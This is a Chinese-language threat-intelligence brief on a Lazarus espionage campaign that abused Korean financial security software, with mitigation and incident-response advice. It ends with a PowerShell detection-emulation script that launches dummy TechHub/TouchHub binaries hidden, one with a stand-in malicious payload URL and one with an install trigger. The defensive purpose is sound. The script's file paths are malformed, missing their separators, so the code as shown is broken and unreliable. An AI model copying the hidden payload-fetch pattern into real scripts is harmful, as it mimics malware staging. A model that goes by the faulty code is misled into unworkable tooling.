Lazarus利用韩国安全软件投递后量子加密恶意软件

总结

与朝鲜有关的拉撒路组织正在进行一场被称为“FlashHole行动”的网络间谍活动。该组织利用广泛使用的韩国金融安全软件中的漏洞部署高级恶意软件框架。此次最新活动引入了后量子加密算法以保护指挥和控制通信。

调查

Kaspersky和AhnLab的研究发现了一条复杂的感染链，涉及DLL旁加载和滥用合法系统二进制文件，如 fsquirt.exe。分析人员将该活动与先前的SyncHole行动联系起来，并记录了恶意软件复杂化的清晰演变。调查还揭示了使用GitHub Pages进行恶意内容托管和高级工具集如TechHub和Cubridge。

缓解措施

组织应优先修补包括INISAFE CrossWeb EX和AnySign4PC在内的金融安全软件。强制执行针对DLL旁加载的严格控制，并监控异常的父子进程关系，如安全软件启动 fsquirt.exe，至关重要。防御者还应监控来自不常见进程的到GitHub或Dropbox API的意外连接，以识别潜在的C2活动。

响应

当检测到恶意活动时，隔离受影响的主机以防止通过文件传输解决方案进行横向移动。执行内存取证以识别在内存中执行的恶意DLL，并检查系统是否有未经授权的文件修改。审查网络遥测以查找可疑的加密通信，并调查潜在的数据泄露尝试到已知的暗网泄露站点，如ULOSE。

仿真执行

• 攻击叙述及命令： 对手打算部署TechHub下载器以建立与GitHub远程库的连接，从而获取载荷的下一个阶段。为避免检测，他们使用 TechHub.exe 二进制文件与指定的URL。随后，他们使用 TouchHub.exe 安装程序，传递 TOUCHSHIFT 参数以触发恶意组件的安装。这模拟了拉撒路组织使用的特定妥协指标（IoC）。

• 回归测试脚本：

  # 拉撒路组织TechHub/TouchHub检测的模拟脚本
  # 此脚本创建虚拟文件以模拟恶意软件二进制文件的存在。
  
  $TempDir = "$env:TEMPLazarusSim"
  New-Item -ItemType Directory -Force -Path $TempDir
  
  $TechHubPath = "$TempDirTechHub.exe"
  $TouchHubPath = "$TempDirTouchHub.exe"
  
  # 创建虚拟可执行文件
  New-Item -ItemType File -Force -Path $TechHubPath
  New-Item -ItemType File -Force -Path $TouchHubPath
  
  Write-Host "[+] 模拟TechHub活动..." -ForegroundColor Cyan
  # 这应该触发 'selection_techhub'
  Start-Process -FilePath $TechHubPath -ArgumentList "https://github.com/malicious/payload.exe" -WindowStyle Hidden
  
  Write-Host "[+] 模拟TouchHub活动..." -ForegroundColor Cyan
  # 这应该触发 'selection_touchhub'
  Start-Process -FilePath $TouchHubPath -ArgumentList "--mode TOUCHSHIFT --install" -WindowStyle Hidden
  
  Write-Host "[+] 模拟完成。检查SIEM是否有警报。" -ForegroundColor Green

• 清理命令：

  # 清理脚本以移除模拟文件
  $TempDir = "$env:TEMPLazarusSim"
  if (Test-Path $TempDir) {
      Remove-Item -Recurse -Force $TempDir
      Write-Host "[+] 清理成功：已移除$TempDir。" -ForegroundColor Green
  } else {
      Write-Host "[!] 清理失败：找不到目录。" -ForegroundColor Red
  }